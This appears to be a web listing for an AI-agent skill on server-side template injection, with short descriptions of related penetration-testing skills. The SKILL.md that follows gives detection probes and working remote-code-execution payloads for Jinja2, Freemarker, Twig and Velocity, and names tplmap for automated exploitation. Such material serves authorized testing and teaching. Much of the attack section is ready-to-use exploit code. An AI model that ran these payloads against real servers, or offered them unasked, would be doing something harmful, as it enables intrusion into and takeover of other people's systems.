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ssti

Skill5 starsChanged 5 months agoApache-2.0View on GitHub

Server-Side Template Injection expert methodology. Detection across Jinja2, Twig, Freemarker, Velocity, Mako, Smarty. Exploitation path from SSTI to RCE and data exfiltration.

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  • langbyyiSkill

    deserialization

    Insecure deserialization playbook. Use when Java, PHP, or Python applications deserialize untrusted data via ObjectInputStream, unserialize, pickle, or similar mechanisms that may lead to RCE, file access, or privilege escalation.

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  • yaklangSkill

    open-redirect

    Open redirect playbook. Use when URL parameters, form actions, or JavaScript sinks control navigation targets and may redirect users to attacker-controlled destinations.

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  • langbyyiSkill

    path-traversal

    Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

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  • blacklanternsecuritySkill

    csrf

    Exploit Cross-Site Request Forgery (CSRF) vulnerabilities during authorized penetration testing.

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  • blacklanternsecuritySkill

    nosql-injection

    Guide NoSQL injection exploitation during authorized penetration testing.

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  • yaklangSkill

    prototype-pollution

    Prototype pollution testing for JavaScript stacks. Use when user input is merged into objects (query parsers, JSON bodies, deep assign), when configuring libraries via untrusted keys, or when hunting RCE gadgets via polluted Object.prototype in Node or the browser.

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SKILL.md

Server-Side Template Injection (SSTI)

Detection

Inject math expressions to detect template evaluation:

{{7*7}}         → 49   (Jinja2/Twig)
${7*7}          → 49   (Freemarker/JSP EL)
<%= 7*7 %>      → 49   (ERB)
#{7*7}          → 49   (Ruby Slim)
*{7*7}          → 49   (Spring EL)
{7*7}           → test (Smarty)

Identification

{{7*'7'}}
→ 7777777  → Jinja2
→ 49       → Twig

Exploitation by Engine

Jinja2 (Python):

{{''.__class__.__mro__[1].__subclasses__()[401]('id',shell=True,stdout=-1).communicate()[0].strip()}}
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Freemarker (Java):

<#assign ex = "freemarker.template.utility.Execute"?new()>${ex("id")}

Twig (PHP):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

Velocity (Java):

#set($x='')##
#set($rt=$x.class.forName('java.lang.Runtime'))
#set($chr=$x.class.forName('java.lang.Character'))
#set($str=$x.class.forName('java.lang.String'))
#set($ex=$rt.getRuntime().exec('id'))

Tools

  • tplmap — automated SSTI detection and exploitation
  • Burp Suite Intruder — payload fuzzing

OWASP Mapping

  • A03:2021 — Injection

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